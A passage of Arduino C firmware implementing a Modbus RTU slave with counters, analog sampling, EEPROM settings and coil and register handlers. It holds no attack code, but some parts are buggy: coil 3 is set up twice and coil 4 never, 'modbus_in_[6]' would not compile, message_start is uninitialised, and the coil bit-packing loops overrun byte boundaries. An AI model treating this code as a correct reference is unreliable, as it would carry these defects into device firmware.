logger.\n *\/\nvoid hard_1_int() {\n count_1++;\n \n modbus_regs[REG_D0] = 0;\n modbus_regs[REG_D0_CNT] = count_1;\n}\n\nvoid hard_2_int() {\n count_2++;\n \n modbus_regs[REG_D1] = 0;\n modbus_regs[REG_D1_CNT] = count_2;\n}\n\nvoid setup() {\n \/*\n * Reset the watchdog. This is a simple sketch, but if it gets hung, I'd\n * like it to reset itself.\n *\/\n MCUSR = 0;\n wdt_disable();\n wdt_reset();\n \n \/*\n * Make the LED pin an \"output\" so it can be blinked whenever I receeive a\n * packet, and whenever another second since the last blink has happened.\n *\/\n pinMode(LED_PIN, OUTPUT);\n digitalWrite(LED_PIN, LOW);\n \n \/*\n * Turn off coils 1 through 4.\n *\/\n pinMode(COIL_1_PIN, OUTPUT);\n digitalWrite(COIL_1_PIN, LOW);\n coil_1_state = 0;\n \n pinMode(COIL_2_PIN, OUTPUT);\n digitalWrite(COIL_2_PIN, LOW);\n coil_2_state = 0;\n \n pinMode(COIL_3_PIN, OUTPUT);\n digitalWrite(COIL_3_PIN, LOW);\n coil_3_state = 0;\n \n pinMode(COIL_3_PIN, OUTPUT);\n digitalWrite(COIL_3_PIN, LOW);\n coil_3_state = 0;\n \n \/*\n * Set the digital inputs.\n *\/\n pinMode(HARD_COUNT_0_PIN, INPUT);\n pinMode(HARD_COUNT_1_PIN, INPUT);\n pinMode(DIGITAL_IN_2, INPUT);\n pinMode(DIGITAL_IN_3, INPUT);\n \n \/*\n * Set the two interrupt handlers.\n *\/\n attachInterrupt(0, hard_1_int, FALLING);\n attachInterrupt(1, hard_2_int, FALLING);\n \n \/*\n * Setup the analog inputs.\n *\/\n pinMode(A0, INPUT);\n digitalWrite(A0, HIGH);\n pullups[0] = 1;\n \n pinMode(A1, INPUT);\n digitalWrite(A1, HIGH);\n pullups[1] = 1;\n \n pinMode(A2, INPUT);\n digitalWrite(A2, LOW);\n pullups[2] = 0;\n \n pinMode(A3, INPUT);\n digitalWrite(A3, LOW);\n pullups[3] = 0;\n \n pinMode(A4, INPUT);\n digitalWrite(A4, LOW);\n \n pinMode(A5, INPUT);\n digitalWrite(A5, LOW);\n \n \/*\n * Get the baud rate. It is stored at address 64 on a greenSensors box and\n * will be fetched from there.\n *\/\n modbus_baud = (unsigned short) read_eeprom_short(64);\n if (modbus_baud == -1 || (modbus_baud % 9600) != 0) {\n modbus_baud = 19200;\n }\n \n \/*\n * The Modbus specification says that 19200 is the default.\n *\/\n switch (modbus_baud) {\n case 9600:\n modbus_tmo = 4;\n break;\n case 19200:\n modbus_tmo = 3;\n break;\n case 38400:\n modbus_tmo = 2;\n break;\n case 57600:\n modbus_tmo = 2;\n break;\n default:\n modbus_baud = 19200;\n modbus_tmo = 2;\n break;\n }\n \n modbus_unit = (unsigned short) EEPROM.read(10);\n if (modbus_unit == 0 || modbus_unit == 0xFF)\n modbus_unit = 1;\n \n \/*\n * Save these two values in the map. They are mirrored by the named\n * variables, but this allows the user to change the values with a\n * WRITE REGISTER command.\n *\/\n modbus_regs[REG_BAUD] = modbus_baud \/ 9600;\n modbus_regs[REG_UNIT] = modbus_unit;\n \n \/*\n * The actual serial number starts at address 4, but has a two character\n * device prefix. This will return just the number.\n *\/\n device_serial = read_eeprom_short(6);\n if (device_serial == (unsigned short) 0xFFFF)\n device_serial = 0;\n \n modbus_regs[REG_SERIAL] = device_serial;\n \n \/*\n * Now set up the watchdog. I use 8 seconds because of problems that\n * have been reported in certain boot loaders. A nice long watchdog\n * will make it easier for someone to wrestle control of their Arduino\n * back.\n *\/\n MCUSR = 0;\n wdt_enable(WDTO_8S);\n \n \/*\n * Now start the serial port.\n *\/\n Serial.begin(modbus_baud);\n}\n\n\/*\n * update_eeprom -- Update the EEPROM with any changed Modbus registers that are\n * stored in EEPROM.\n *\/\nvoid update_eeprom() {\n if (modbus_unit != modbus_regs[REG_UNIT]) {\n if (modbus_regs[REG_UNIT] > 0 && modbus_regs[REG_UNIT] <= 253) {\n modbus_unit = modbus_regs[REG_UNIT];\n EEPROM.write(10, modbus_unit);\n } else {\n modbus_regs[REG_UNIT] = modbus_unit;\n }\n }\n \n if (modbus_baud != modbus_regs[REG_BAUD] * 9600) {\n if (modbus_regs[REG_BAUD] == 1 || modbus_regs[REG_BAUD] == 2 ||\n modbus_regs[REG_BAUD] == 4 || modbus_regs[REG_BAUD] == 6) {\n modbus_baud = modbus_regs[REG_BAUD] * 9600;\n if (modbus_baud == 9600)\n modbus_tmo = 4;\n else\n modbus_tmo = 2;\n \n write_eeprom_short(64, modbus_baud);\n Serial.begin(modbus_baud);\n } else {\n modbus_regs[REG_BAUD] = modbus_baud \/ 9600;\n }\n }\n \n if (device_serial == 0 && modbus_regs[REG_SERIAL] != 0) {\n write_eeprom_short(6, modbus_regs[REG_SERIAL]);\n device_serial = modbus_regs[REG_SERIAL];\n } else {\n modbus_regs[REG_SERIAL] = device_serial;\n }\n}\n\nvoid flip_led() {\n digitalWrite(LED_PIN, last_led_state ? LOW:HIGH);\n last_led_state = ! last_led_state;\n \n last_led_flip = millis();\n}\n\n\/* Start of the Modbus library. *\/\n\n\/*\n * These variables are required for the Modbus library to know its limits.\n *\/\nshort modbus_regs_cnt = MODBUS_REGS;\nshort modbus_coils_cnt = MODBUS_COILS;\n\n\/* Start of Modbus library code *\/\n\n\/*\n * Modbus exception codes.\n *\/\nenum { \n EX_ILLEGAL_FUNCTION = 1, \n EX_ILLEGAL_DATA_ADDRESS = 2, \n EX_ILLEGAL_DATA_VALUE = 3, \n EX_SLAVE_DEVICE_FAILURE = 4,\n EX_SLAVE_BUSY = 6,\n EX_MEMORY_PARITY_ERROR = 8\n};\n\n\/*\n * Supported Modbus functions.\n *\/\nenum {\n FC_READ_COILS = 0x01,\n FC_READ_DISCRETE_INPUTS = 0x02,\n FC_READ_HOLDING_REGISTERS = 0x03,\n FC_READ_INPUT_REGISTERS = 0x04,\n FC_WRITE_SINGLE_COIL = 0x05,\n FC_WRITE_SINGLE_REGISTER = 0x06,\n#ifdef HAS_COUNTS\n FC_GET_COMM_EVENT_COUNTER = 0x0B,\n#endif\n#ifdef HAS_LOG\n FC_GET_COMM_EVENT_LOG = 0x0C,\n#endif\n#ifdef HAS_MULTI\n FC_WRITE_MULTIPLE_COILS = 0x0F,\n FC_WRITE_MULTIPLE_REGISTERS = 0x10,\n#endif\n#ifdef HAS_SRVR_ID\n FC_REPORT_SERVER_ID = 0x11,\n#endif\n#ifdef HAS_FILES\n FC_READ_FILE_RECORD = 0x14,\n FC_WRITE_FILE_RECORD = 0x15,\n#endif\n#ifdef HAS_FIFO\n FC_READ_FIFO = 0x18,\n#endif\n#ifdef HAS_MEI\n FC_READ_MEI = 0x2B,\n#endif\n};\n\n\/*\n * The last time, in milliseconds, that there was input.\n *\/\nunsigned long last_input = 0;\n\n\/*\n * Define MAX_PDU to the largest input =or= output packet you expect to\n * see. Then define MAX_PDU_IN and MAX_PDU_OUT to the input and output\n * limits, respectively.\n *\/\n \n#define TWO_BUFFERS \/* Separate input and output Modbus buffers *\/\n\n#define MAX_PDU 256\n#define MAX_PDU_IN 256\n#define MAX_PDU_OUT 256\n\n#if (MAX_PDU_IN > MAX_PDU) || (MAX_PDU_OUT > MAX_PDU)\n#error Invalid PDU size!\n#endif\n\n#ifndef TWO_BUFFERS\n#if MAX_PDU_IN != MAX_PDU_OUT\n#error Packet mismatch!\n#endif\n#endif\n\nunsigned char modbus_in[MAX_PDU_IN];\nunsigned short modbus_in_cnt = 0;\n\n\/*\n * The smaller AVR parts have issues with insufficient RAM. Basic functions are\n * written to finish with the input buffer before starting on the output buffer,\n * to avoid wasting memory. The more advanced features require both buffers.\n *\/\n#ifdef TWO_BUFFERS\nunsigned char modbus_out[MAX_PDU_OUT];\n#else\nunsigned char *modbus_out = modbus_in;\n#endif\nunsigned short modbus_out_cnt = 0;\n\n#if defined(HAS_FILES) && !defined(TWO_BUFFERS)\n#error Two buffers are required for the READ FILE RECORD feature\n#endif\n\n#ifdef HAS_COUNTS\nunsigned short event_count;\n#ifdef HAS_LOG\nunsigned short message_count;\nunsigned char message_bytes[64];\nunsigned char message_bytes_cnt;\nunsigned char message_bytes_wrapped = 0;\n\nvoid modbus_add_comm_log_entry(unsigned char entry) {\n message_bytes[message_bytes_cnt++] = entry;\n \n if (message_bytes_cnt & ~0x3F) {\n message_bytes_cnt = 0;\n message_bytes_wrapped = 1;\n }\n \n if (entry & 0x80)\n message_count++;\n}\n#endif\n#endif\n\nunsigned char modbus_packet_check() {\n unsigned long now;\n unsigned char can_read;\n \n \/*\n * Check the number of input bytes and determine if there is any need to\n * see if there's even a packet present.\n *\/\n can_read = Serial.available();\n if (can_read == 0 && modbus_in_cnt == 0)\n return 0;\n \n \/*\n * Either I have one or more bytes to read, or I must look for a timeout. Do\n * the bytes first. Either way, I need the current time.\n *\/\n now = millis();\n if (can_read != 0) {\n \n \/*\n * I have data to read. I must save the current time (for the timeout)\n * then drain the input buffer so I don't get an overrun there.\n *\/\n last_input = now;\n \n while (can_read > 0) {\n unsigned char data = Serial.read();\n \n if (modbus_in_cnt < MAX_PDU_IN)\n modbus_in[modbus_in_cnt++] = data;\n\n can_read--;\n }\n return 0;\n }\n \n \/*\n * The Modbus standard specifies a packet ends 3.5 character times after the\n * last byte is received. That's a bit over 3.5ms at 9600 baud, and 1.8ms\n * at 19.2kBaud.\n *\n * NOTE: Many USB-to-Serial converters have major timing issues and conforming\n * to the specification may be very hard and force modbus_tmo to be changed.\n *\/\n return now - last_input > modbus_tmo;\n}\n\nvoid modbus_put_short(unsigned short value) {\n if (modbus_out_cnt > (MAX_PDU_OUT-2))\n return;\n \n modbus_out[modbus_out_cnt++] = value >> 8;\n modbus_out[modbus_out_cnt++] = value & 0xFF;\n}\n\nunsigned short modbus_get_short(unsigned char offset) {\n return(modbus_in[offset] << 8) | modbus_in[offset + 1];\n}\n\nunsigned short modbus_crc(unsigned char *data, unsigned char cnt)\n{\n unsigned char byte, bit;\n unsigned short result;\n\n result = 0xFFFF;\n\n for (byte = 0;byte < cnt;byte++) {\n result ^= data[byte];\n\n for (bit = 0; bit < 8;bit++) {\n if (result & 0x0001)\n result = (result >> 1) ^ 0xA001;\n else\n result = (result >> 1);\n }\n }\n \n \/*\n * The CRC is byte-swapped, so byte swap it on return.\n *\/\n return ((result >> 8) & 0xFF) | ((result & 0xFF) << 8);\n}\n\nvoid modbus_add_crc() {\n modbus_put_short(modbus_crc(modbus_out, modbus_out_cnt));\n}\n\nvoid modbus_write() {\n#ifdef HAS_LOG\n unsigned char log_value = 0x40; \/\/ Generic SEND entry.\n#endif\n \/*\n * NEVER transmit a broadcast reply.\n *\/\n if (modbus_out[0] == 0)\n return;\n \n#ifdef HAS_LOG\n \/*\n * See if this is an exception response.\n *\/\n if (modbus_out[1] & 0x80)\n log_value |= 0x01;\n \n modbus_add_comm_log_entry(log_value);\n#endif\n modbus_add_crc();\n \n delay(modbus_tmo);\n Serial.write(modbus_out, modbus_out_cnt);\n Serial.flush();\n delay(modbus_tmo);\n}\n\nvoid modbus_exception(unsigned char code) {\n \/*\n * NEVER report an exception on a broadcast message.\n *\/\n if (modbus_in[0] == 0)\n return;\n \n \/*\n * Copy the command code from the input packet to the output packet,\n * setting bit 0x80 in the process. Then append the exception code\n * passed in.\n *\/\n \n unsigned char function = modbus_in[1] | 0x80;\n \n modbus_out_cnt = 0;\n modbus_out[modbus_out_cnt++] = modbus_unit;\n modbus_out[modbus_out_cnt++] = function;\n modbus_out[modbus_out_cnt++] = code;\n \n modbus_write();\n}\n\nunsigned char modbus_check_crc() {\n if (modbus_in_cnt <= 2)\n return 0;\n \n return modbus_crc(modbus_in, modbus_in_cnt - 2) == modbus_get_short(modbus_in_cnt - 2);\n}\n\n#ifdef HAS_FIFO\nvoid slave_read_fifo() {\n unsigned short fifo_pointer = modbus_get_short(2);\n char fifo_count;\n \n \n if ((fifo_count = get_fifo_count(fifo_pointer)) < 0 || fifo_count >= 32) {\n modbus_exception(EX_ILLEGAL_DATA_VALUE);\n return;\n }\n \n modbus_out_cnt = 0;\n modbus_out[modbus_out_cnt++] = modbus_unit;\n modbus_out[modbus_out_cnt++] = FC_READ_FIFO;\n modbus_put_short((fifo_count * sizeof (short)) + sizeof(short));\n modbus_put_short(fifo_count);\n \n for (int i = 0;i < fifo_count;i++)\n modbus_put_short(get_fifo_value(fifo_pointer));\n \n#ifdef HAS_COUNTS\n event_count++;\n#endif\n modbus_write();\n}\n#endif\n\n#ifdef HAS_FILES\n\/**\n * slave_read_file_record - Read one or more records from EEPROM\n *\/\nvoid slave_read_file_record() {\n unsigned char byte_count = modbus_in[2];\n unsigned char requests = (modbus_in_cnt - 4) \/ 7;\n int total_registers = 0;\n unsigned char result_size = 0;\n \n if (! (7 <= byte_count && byte_count <= 245)) {\nillegal_data_value:\n modbus_exception(EX_ILLEGAL_DATA_VALUE);\n return;\n }\n \n \/*\n * There are 5 bytes that aren't part of the request list.\n * The unit number, function code, byte count, and 2 bytes\n * for the CRC.\n *\/\n if (byte_count != modbus_in_cnt - 5)\n goto illegal_data_value;\n \n for (int i = 0;i < requests;i++) {\n char code = modbus_in[3 + (i * 7)];\n unsigned short file = modbus_get_short(4 + (i * 7));\n unsigned short record = modbus_get_short(6 + (i * 7));\n unsigned short registers = modbus_get_short(8 + (i * 7));\n \n if (code != 6)\n goto illegal_data_value;\n \n if (! file_check_entry(file, record, registers)) {\n modbus_exception(EX_ILLEGAL_DATA_ADDRESS);\n return;\n }\n total_registers += registers;\n }\n \n result_size = (requests * 2) + (total_registers * sizeof(short));\n if (result_size + 2 * sizeof(char) >= 253)\n goto illegal_data_value;\n \n modbus_out_cnt = 0;\n modbus_out[modbus_out_cnt++] = modbus_unit;\n modbus_out[modbus_out_cnt++] = FC_READ_FILE_RECORD;\n modbus_out[modbus_out_cnt++] = result_size;\n \n for (int i = 0;i < requests;i++) {\n unsigned short file = modbus_get_short(4 + (i * 7));\n unsigned short record = modbus_get_short(6 + (i * 7));\n unsigned short registers = modbus_get_short(8 + (i * 7));\n unsigned short value;\n \n modbus_out[modbus_out_cnt++] = registers * sizeof(short) + 1;\n modbus_out[modbus_out_cnt++] = 6;\n \n for (int j = 0;j < registers;j++) {\n value = file_get_value(file, record, j);\n modbus_put_short(value);\n }\n }\n#ifdef HAS_COUNTS\n event_count++;\n#endif\n modbus_write();\n}\n\nvoid slave_write_file_record() {\n unsigned char byte_count = modbus_in[2];\n unsigned char requests = (modbus_in_cnt - 4) \/ 7;\n unsigned char base = 3;\n int total_registers = 0;\n unsigned char result_size = 0;\n int i = 0;\n \n \/*\n * There are 5 bytes that aren't part of the request list.\n * The unit number, function code, byte count, and 2 bytes\n * for the CRC.\n *\/\n if (byte_count < 7 || byte_count != modbus_in_cnt - 5) {\nillegal_data_value:\n modbus_exception(EX_ILLEGAL_DATA_VALUE);\n return;\n }\n \n while (base < byte_count) {\n char code = modbus_in[base];\n unsigned short file = modbus_get_short(base + 1);\n unsigned short record = modbus_get_short(base + 3);\n unsigned short registers = modbus_get_short(base + 5);\n \n if (code != 6)\n goto illegal_data_value;\n \n if (! file_check_entry(file, record, registers)) {\n modbus_exception(EX_ILLEGAL_DATA_ADDRESS);\n return;\n }\n base += 7;\n \n for (int j = 0;j < registers;j++)\n file_put_value(file, record, j, modbus_get_short(base + j * 2));\n \n base += registers * 2;\n }\n \n \/*\n * This is safe because FILE commands require dual buffers, which is why the copy\n * has to be performed.\n *\/\n memcpy(modbus_out, modbus_in, modbus_in_cnt);\n modbus_out_cnt = modbus_in_cnt;\n \n#ifdef HAS_COUNTS\n event_count++;\n#endif\n modbus_write();\n}\n#endif\n\n\/*\n * slave_read_multiple_coils - Read one or more coils, using the get_coil() function.\n *\/\nvoid slave_read_multiple_coils() {\n unsigned char function = modbus_in[1];\n unsigned short coil_start = modbus_get_short(2);\n unsigned short coil_count = modbus_get_short(4);\n unsigned char byte = 0;\n unsigned char mask = 0x1;\n unsigned char i, j;\n \n if (coil_start >= modbus_coils_cnt || coil_start + coil_count > modbus_coils_cnt || coil_count == 0) {\nillegal_data_address:\n modbus_exception(EX_ILLEGAL_DATA_ADDRESS);\n return;\n }\n \n modbus_out_cnt = 0;\n modbus_out[modbus_out_cnt++] = modbus_unit;\n modbus_out[modbus_out_cnt++] = function;\n modbus_out[modbus_out_cnt++] = (coil_count + 7) >> 3;\n \n \/*\n * Process coil values in 1 byte chunks. The bits are handled inside the loop.\n *\/\n for (i = 0;i < coil_count;i += 8) {\n byte = 0;\n mask = 1;\n \n \/*\n * Now process the bits.\n *\/\n for (j = i;j < coil_count;j++) {\n char coil_value = get_coil(j + coil_start);\n if (coil_value == (char) -1)\n goto illegal_data_address;\n else if (coil_value != 0)\n byte |= mask;\n \n mask <<= 1;\n }\n modbus_out[modbus_out_cnt++] = byte;\n }\n#ifdef HAS_COUNTS\n event_count++;\n#endif\n modbus_write();\n}\n\nvoid slave_write_single_coil() {\n unsigned short coil_address = modbus_get_short(2);\n unsigned short coil_value = modbus_get_short(4);\n \n if (coil_value != 0x0000 && coil_value != 0xFF00) {\n modbus_exception(EX_ILLEGAL_DATA_VALUE);\n return;\n }\n \n if (! set_coil(coil_address, coil_value != 0)) {\nillegal_data_address:\n modbus_exception(EX_ILLEGAL_DATA_ADDRESS);\n return;\n }\n modbus_out_cnt = 0;\n modbus_out[modbus_out_cnt++] = modbus_unit;\n modbus_out[modbus_out_cnt++] = FC_WRITE_SINGLE_COIL;\n modbus_put_short(coil_address);\n modbus_put_short(coil_value);\n \n#ifdef HAS_COUNTS\n event_count++;\n#endif\n modbus_write();\n}\n\n#ifdef HAS_COUNTS\nvoid slave_get_comm_event_counter() {\n modbus_out_cnt = 0;\n \n modbus_out[modbus_out_cnt++] = modbus_unit;\n modbus_out[modbus_out_cnt++] = FC_GET_COMM_EVENT_COUNTER;\n \n \/*\n * This isn't a programmable device, so it is never busy.\n *\/\n modbus_put_short(0);\n modbus_put_short(event_count);\n \n \/*\n * This modbus_write() call doesn't count as a message.\n *\/\n modbus_write();\n}\n#endif\n\n#ifdef HAS_LOG\nvoid slave_get_comm_event_log() {\n unsigned char log_count;\n unsigned char message_start;\n \n if (message_bytes_wrapped) {\n log_count = 64;\n } else {\n log_count = message_bytes_cnt;\n }\n modbus_out_cnt = 0;\n \n modbus_out[modbus_out_cnt++] = modbus_unit;\n modbus_out[modbus_out_cnt++] = FC_GET_COMM_EVENT_LOG;\n modbus_out[modbus_out_cnt++] = 6 + log_count; \n \n \/*\n * This isn't a programmable device, so it is never busy.\n *\/\n modbus_put_short(0);\n modbus_put_short(event_count);\n modbus_put_short(message_count);\n \n for (unsigned char i = log_count;i > 0;i--)\n modbus_out[modbus_out_cnt++] = message_bytes[(message_start + i - 1) & 0x3F];\n \n event_count++;\n modbus_write();\n}\n#endif\n\n#ifdef HAS_MULTI\n\/*\n * slave_write_multiple_coils - Write one or more coils, using the set_coil() function.\n *\/\nvoid slave_write_multiple_coils() {\n unsigned int set_count = 0;\n unsigned short coil_start = modbus_get_short(2);\n unsigned short coil_count = modbus_get_short(4);\n unsigned char byte_count = modbus_in[6];\n unsigned char byte = 0;\n unsigned char mask = 0x1;\n unsigned char i, j;\n unsigned char is_broadcast = modbus_in[0] == 0;\n \n \/*\n * Make sure all the coils can be written before any of the coils are written.\n *\/\n for (i = 0;i < coil_count;i++) {\n if (! is_coil_setable(coil_start + i)) {\n if (! is_broadcast)\n modbus_exception(EX_ILLEGAL_DATA_ADDRESS);\n \n return;\n }\n }\n \n if ((coil_count + 7) >> 3 != byte_count) {\n if (! is_broadcast)\n modbus_exception(EX_ILLEGAL_DATA_VALUE);\n \n return;\n }\n \n \/*\n * Process the coils in bytes, then process the bits inside the loop.\n *\/\n for (i = 0;i < coil_count;i += 8) {\n byte = modbus_in[7 + (i \/ 8)];\n mask = 1;\n \n for (j = i;j < coil_count;j++) {\n set_coil(j + coil_start, (byte & mask) ? 1:0);\n mask <<= 1;\n }\n }\n \n#ifdef HAS_COUNTS\n event_count++;\n#endif\n if (is_broadcast)\n return;\n \n modbus_out_cnt = 0;\n \n modbus_out[modbus_out_cnt++] = modbus_unit;\n modbus_out[modbus_out_cnt++] = FC_WRITE_MULTIPLE_COILS;\n modbus_put_short(coil_start);\n modbus_put_short(coil_count);\n \n modbus_write();\n}\n#endif\n\nvoid slave_read_registers() {\n unsigned short address = modbus_get_short(2);\n unsigned short count = modbus_get_short(4);\n unsigned char i;\n unsigned char function;\n \n \/*\n * Unsigned math means never knowing when you're going to wrap ...\n *\/\n if (address >= modbus_regs_cnt || (address + count) > modbus_regs_cnt) {\n modbus_exception(EX_ILLEGAL_DATA_ADDRESS);\n return;\n }\n function = modbus_in[1];\n \n modbus_out_cnt = 0;\n modbus_out[modbus_out_cnt++] = modbus_unit;\n modbus_out[modbus_out_cnt++] = function;\n modbus_out[modbus_out_cnt++] = 2 * count;\n \n for (i = 0;i < count;i++) {\n \/*\n * Don't let a value change out from under our feet.\n *\/\n noInterrupts();\n modbus_put_short(modbus_regs[address + i]);\n interrupts();\n }\n#ifdef HAS_COUNTS\n event_count++;\n#endif\n modbus_write();\n}\n\nvoid slave_write_single_register() {\n unsigned short address = modbus_get_short(2);\n unsigned short value = modbus_get_short(4);\n unsigned char i;\n unsigned char is_broadcast = modbus_in[0] == 0;\n \n \/*\n * Unsigned math means never knowing when you're going to wrap ...\n *\/\n if (address >= modbus_regs_cnt) {\n modbus_exception(EX_ILLEGAL_DATA_ADDRESS);\n return;\n }\n \n modbus_regs[address] = value;\n \n#ifdef HAS_COUNTS\n event_count++;\n#endif\n if (is_broadcast)\n return;\n \n modbus_out_cnt = 0;\n modbus_out[modbus_out_cnt++] = modbus_unit;\n modbus_out[modbus_out_cnt++] = FC_WRITE_SINGLE_REGISTER;\n modbus_put_short(address);\n modbus_put_short(value);\n \n modbus_write();\n}\n\n#ifdef HAS_MULTI\nvoid slave_write_multiple_registers() {\n unsigned short address = modbus_get_short(2);\n unsigned short count = modbus_get_short(4);\n unsigned char bytes = modbus_in_[6];\n unsigned char i;\n unsigned char is_broadcast = modbus_in[0] == 0;\n \n \/*\n * Unsigned math means never knowing when you're going to wrap ...\n *\/\n if (address >= modbus_regs_cnt || (address + count) > modbus_regs_cnt) {\n if (! is_broadcast)\n modbus_exception(EX_ILLEGAL_DATA_ADDRESS);\n \n return;\n }\n \n \/*\n * Verify the byte count against the register count.\n *\/\n if (count * 2 != bytes) {\n if (! is_broadcast)\n modbus_exception(EX_ILLEGAL_DATA_VALUE);\n \n return;\n }\n \n for (i = 0;i < count;i++)\n modbus_regs[address + i] = modbus_get_short(6 + (2 * i));\n \n#ifdef HAS_COUNTS\n event_count++;\n#endif\n if (is_broadcast)\n return;\n \n modbus_out_cnt = 0;\n modbus_out[modbus_out_cnt++] = modbus_unit;\n modbus_out[modbus_out_cnt++] = FC_WRITE_MULTIPLE_REGISTERS;\n modbus_put_short(address);\n modbus_put_short(count);\n \n modbus_write();\n}\n#endif\n\n#ifdef HAS_SRVR_ID\nvoid slave_report_server_id() {\n int object_length;\n \n object_length = strlen_P(product_name);\n \n \/*\n * The entire message must fit into the largest permissible packet.\n *\/\n if (object_length + 5 + sizeof(short) > MAX_PDU_OUT) {\n modbus_exception(EX_ILLEGAL_FUNCTION);\n return;\n }\n \n modbus_out_cnt = 0;\n modbus_out[modbus_out_cnt++] = modbus_unit;\n modbus_out[modbus_out_cnt++] = FC_REPORT_SERVER_ID;\n modbus_out[modbus_out_cnt++] = 2 + object_length;\n modbus_out[modbus_out_cnt++] = modbus_unit;\n modbus_out[modbus_out_cnt++] = 0xFF;\n \n strcpy_P((char *) modbus_out + modbus_out_cnt, product_name);\n modbus_out_cnt += object_length;\n\n#ifdef HAS_COUNTS\n event_count++;\n#endif\n modbus_write();\n}\n#endif\n\n#ifdef HAS_MEI\nvoid slave_read_device_identification() {\n char i, j;\n char cnt;\n char mode;\n unsigned char object;\n unsigned char total;\n \n \/*\n * \"Read Device ID\" is the only supported function.\n *\/\n if (modbus_in[2] != 0xE) {\n modbus_exception(EX_ILLEGAL_FUNCTION);\n return;\n }\n \n \/*\n * Get the parameters from the packet.\n *\/\n mode = modbus_in[3];\n object = modbus_in[4];\n \n \/*\n * Only read codes 1 (Basic Stream) and 4 (Individual Item) modes\n * are supported.\n *\/\n \n if (mode != 1 && mode != 4) {\n modbus_exception(EX_ILLEGAL_FUNCTION);\n return;\n }\n \n \/*\n * Only objects 0, 1 and 2 are supported.\n *\/\n if (object > 2) {\n modbus_exception(EX_ILLEGAL_DATA_ADDRESS);\n return;\n }\n \n modbus_out_cnt = 0;\n modbus_out[modbus_out_cnt++] = modbus_unit;\n modbus_out[modbus_out_cnt++] = FC_READ_MEI;\n modbus_out[modbus_out_cnt++] = 0xE;\n modbus_out[modbus_out_cnt++] = mode;\n \n \/*\n * This device supports both stream and individual access of the basic\n * fields, only.\n *\/\n modbus_out[modbus_out_cnt++] = 0x81;\n \n \/*\n * It is very important that all three objects defined at the top are\n * able to fit into a single \"basic\" response.\n *\/\n if(mode == 1) {\n cnt = 3 - object;\n } else {\n cnt = 1;\n }\n \n total = 7;\n for(i = object, j = cnt;i < 3 && j > 0;i++, j--) {\n int object_length = 0;\n \n switch(i) {\n case 0:\n object_length = strlen_P(company_name);\n break;\n case 1:\n object_length = strlen_P(product_name);\n break;\n case 2:\n object_length = strlen_P(version_text);\n break;\n }\n \n if (total + object_length + 2 > (MAX_PDU_OUT-2))\n break;\n \n total += object_length + 2;\n }\n \n if (j > 0) {\n cnt -= j;\n \n \/*\n * The \"More Follows\" value is \"TRUE\" and \"Next ID\" is the\n * first ID that didn't make it.\n *\/\n modbus_out[modbus_out_cnt++] = 0xFF;\n modbus_out[modbus_out_cnt++] = object + cnt;\n } else {\n \/*\n * The \"More Follows\" and \"Next ID\" values are always 0 when\n * everything fits.\n *\/\n modbus_out[modbus_out_cnt++] = 0;\n modbus_out[modbus_out_cnt++] = 0;\n }\n modbus_out[modbus_out_cnt++] = cnt;\n\n for(i = object, j = cnt;i < 3 && j > 0;i++, j--) {\n int object_length = 0;\n \n modbus_out[modbus_out_cnt++] = i;\n \n switch(i) {\n case 0:\n object_length = strlen_P(company_name);\n \n modbus_out[modbus_out_cnt++] = strlen_P(company_name);\n strcpy_P((char *) modbus_out + modbus_out_cnt, company_name);\n \n modbus_out_cnt += object_length;\n break;\n case 1:\n object_length = strlen_P(product_name);\n \n modbus_out[modbus_out_cnt++] = object_length;\n strcpy_P((char *) modbus_out + modbus_out_cnt, product_name);\n \n modbus_out_cnt += object_length;\n break;\n case 2:\n object_length = strlen_P(version_text);\n \n modbus_out[modbus_out_cnt++] = object_length;\n strcpy_P((char *) modbus_out + modbus_out_cnt, version_text);\n \n modbus_out_cnt += object_length;\n break;\n }\n }\n#ifdef HAS_COUNTS\n event_count++;\n#endif\n modbus_write();\n}\n#endif\n\n\/* End of Modbus library code. *\/\n\n\/*\n * User application.\n *\/\nvoid loop() {\n unsigned char is_broadcast = 0;\n \n \/*\n * Pet the nice doggy.\n *\/\n wdt_reset();\n \n \/*\n * I need to know how many loops-per-second. Because I just do.\n *\/\n if (++modbus_regs[REG_LOOP_LO] == 0)\n modbus_regs[REG_LOOP_HI]++;\n \n \/*\n * Get the current time -- needed for LED blinking and a few other items.\n *\/\n last_millis = millis();\n \n \/*\n * See if I must sample everything. I do that every 10ms come rain or\n * shine. Unless it has been more than 15ms, like, I was doing something ...\n *\/\n if (last_millis - last_sample > 10) {\n modbus_regs[REG_A0] = analogRead(A0);\n modbus_regs[REG_A1] = analogRead(A1);\n modbus_regs[REG_A2] = analogRead(A2);\n modbus_regs[REG_A3] = analogRead(A3);\n modbus_regs[REG_VREF] = analogRead(A5);\n \n \/*\n * Get the state of the hardware interrupt input pins.\n *\/\n modbus_regs[REG_D0] = digitalRead(HARD_COUNT_0_PIN);\n modbus_regs[REG_D1] = digitalRead(HARD_COUNT_1_PIN);\n \n \/*\n * Get the state of the other two that don't make interrupts.\n *\/\n modbus_regs[REG_D2] = digitalRead(DIGITAL_IN_2);\n modbus_regs[REG_D3] = digitalRead(DIGITAL_IN_3);\n \n if (last_millis - last_sample > 15)\n last_sample = last_millis;\n else\n last_sample += 10;\n }\n \n \/*\n * A 1Hz signal is output on the LED pin whenever there are no\n * Modbus packets addressed to this unit.\n *\/\n if (! modbus_packet_check()) {\n \/*\n * Manage the LED state for 1Hz blinking.\n *\/\n if (last_millis - last_led_flip > 500)\n flip_led();\n \n return;\n }\n \n \/*\n * Ignore packets with CRC errors and those not addressed to us.\n *\/\n if (! modbus_check_crc()) {\n#ifdef HAS_LOG\n if (modbus_in[0] == modbus_unit) {\n unsigned char log_value = 0x82;\n \n if (modbus_in_cnt == MAX_PDU_IN)\n log_value |= 0x10;\n \n modbus_add_comm_log_entry(log_value);\n }\n#endif\n modbus_in_cnt = 0;\n return;\n }\n \n is_broadcast = modbus_in[0] == 0;\n \n if (modbus_unit != modbus_in[0] && ! is_broadcast) {\n modbus_in_cnt = 0;\n return;\n }\n \n#ifdef HAS_LOG\n modbus_add_comm_log_entry(0x80 | (is_broadcast ? 0x40:0x00));\n#endif\n \n \/*\n * The greenSensors box has LEDs for Rx and Tx. Here I just flip the LED\n * whenever I get a packet.\n *\/\n flip_led();\n \n switch(modbus_in[1]) {\n case FC_READ_COILS:\n case FC_READ_DISCRETE_INPUTS:\n if (is_broadcast)\n goto done;\n \n slave_read_multiple_coils();\n break;\n case FC_WRITE_SINGLE_COIL:\n slave_write_single_coil();\n break;\n#ifdef HAS_COUNTS\n case FC_GET_COMM_EVENT_COUNTER:\n if (is_broadcast)\n goto done;\n \n 